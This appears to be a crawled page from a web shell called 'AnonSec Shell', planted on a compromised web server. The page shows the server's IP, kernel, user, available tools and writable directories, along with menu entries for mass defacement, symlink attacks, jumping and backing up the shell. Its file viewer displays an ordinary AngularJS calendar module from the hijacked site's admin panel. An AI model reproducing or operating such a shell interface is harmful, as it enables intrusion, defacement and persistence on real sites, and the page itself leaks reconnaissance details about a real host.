. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.6.220   [ Reverse IP ]
Web Server : Apache/2.4.66 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-81.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ripara.co/admin/js/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ripara.co/admin/js/modules/calendar.js
materialAdmin 

    // =========================================================================
    // CALENDAR WIDGET
    // =========================================================================
    .directive('dt', function(){
    return {
      require: '?ngModel',
      restrict: 'A',
      link: function ($scope, element, attrs, controller) {
            var updateModel, onblur;

            if (controller !== null) {

                updateModel = function () {
                    if (element.data("DateTimePicker").minViewMode === element.data("DateTimePicker").viewMode) {
                        element.data("DateTimePicker").hide();
                        element.blur();
                    }
                };

                onblur = function () {
                    var date = element.datetimepicker().data("DateTimePicker").getDate();
                    return $scope.$apply(function () {
                        return controller.$setViewValue(date);
                    });
                };

                controller.$render = function () {
                    var date = controller.$viewValue;
                    if (angular.isDefined(date) && date != null && moment.isMoment(date)) {
                        element.datetimepicker().data("DateTimePicker").setDate(date);
                    } else if (angular.isDefined(date)) {
                        throw new Error('ng-model value must be a Moment - currently it is a ' + typeof date + '.');
                    }
                    return controller.$viewValue;
                };
            }
            return attrs.$observe('dt', function (value) {
                var options;
                options = { }; //<--- insert your own defaults here!
                if (angular.isObject(value)) {
                    options = value;
                }
                if (typeof (value) === "string" && value.length > 0) {
                    options = angular.fromJson(value);
                }
                return element.datetimepicker(options).on('change.dp', updateModel).on('blur', onblur);
            });
        }
    };
  })

    .directive('fullCalendar', function(){
        return {
            restrict: 'A',
            link: function(scope, element, APIService) {

                
                scope.calendarioDati = element;

                //aggiungere chiamata
                scope.APIService.async({method: "getschedecalendario"}).then(function(adata) {
                    
                    var oggi = new Date().getFullYear() + "-" + (new Date().getMonth()+1) + "-" + new Date().getDate(); 

                    if(adata.status){

                        //assegno i dati ricevuti a data
                        if(adata.message.length){
                            var data = adata.message;
                            

                        }else{
                             var data = [];
                        }

                        scope.calendarioDati.fullCalendar({
                        contentHeight: 'auto',
                        theme: true,
                        header: {
                            right: '',
                            center: 'prev, title, next',
                            left: ''
                        },
                        defaultDate: oggi,  
                        editable: true,
                        events: data });
                        
                   
                    }else{
                        
                        animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di carimento dei dati, si prega di aggiornare la pagina!");

                    }

                });

            /*)        element.fullCalendar({
                    contentHeight: 'auto',
                    theme: true,
                    header: {
                        right: '',
                        center: 'prev, title, next',
                        left: ''
                    },
                    defaultDate: '2014-06-12',
                    editable: true,
                    events: calendarioDati });*/


                    /*[
                        {
                            title: 'Pippo - scheda 1 di prova',
                            start: '2016-04-14',
                            className: 'bgm-cyan'
                        },
                        {
                            title: 'Marco - Roma',
                            start: '2016-04-11',
                            end: '2016-04-11',
                            className: 'bgm-orange'
                        },
                       /* {
                            id: 999,
                            title: 'Repeat',
                            start: '2014-06-09',
                            className: 'bgm-lightgreen'
                        },
                        {
                            id: 999,
                            title: 'Repeat',
                            start: '2014-06-16',
                            className: 'bgm-blue'
                        },
                        {
                            title: 'Meet',
                            start: '2014-06-12',
                            end: '2014-06-12',
                            className: 'bgm-teal'
                        },
                        {
                            title: 'Lunch',
                            start: '2014-06-12',
                            className: 'bgm-gray'
                        },
                        {
                            title: 'Birthday',
                            start: '2014-06-13',
                            className: 'bgm-pink'
                        },
                        {
                            title: 'Google',
                            url: 'http://google.com/',
                            start: '2014-06-28',
                            className: 'bgm-bluegray'
                        }*/
                //    ]
                
            }
        }
    })
    

    // =========================================================================
    // MAIN CALENDAR
    // =========================================================================

    .directive('calendar', function($compile){
        return {
            restrict: 'A',
            scope: {
                select: '&',
                actionLinks: '=',
            },
            link: function(scope, element, attrs) {
                //scope.calendarioElement = element;
                setTimeout(function(){
                    $('#calendar').find('.fc-toolbar').append($compile(scope.actionLinks)(scope));
                },400);
                

        
            }
        }})
    

    //Change Calendar Views
    .directive('calendarView', function(){
        return {
            restrict: 'A',
            link: function(scope, element, attrs) {
                element.on('click', function(){
                    $('#calendar').fullCalendar('changeView', attrs.calendarView);  
                })
            }
        }
    })

    .directive('datetimez', function() {
    return {
        restrict: 'A',
        require: 'ngModel',
        link: function(scope, element, attrs, ngModelCtrl) {
            debugger;
            element.datetimepicker({
                dateFormat: 'dd/MM/yyyy hh:mm:ss',
                language: 'pt-BR'
            }).on('changeDate', function(e) {
                ngModelCtrl.$setViewValue(e.date);
                scope.$apply();
            });
        }
    };
})


Anon7 - 2022
AnonSec Team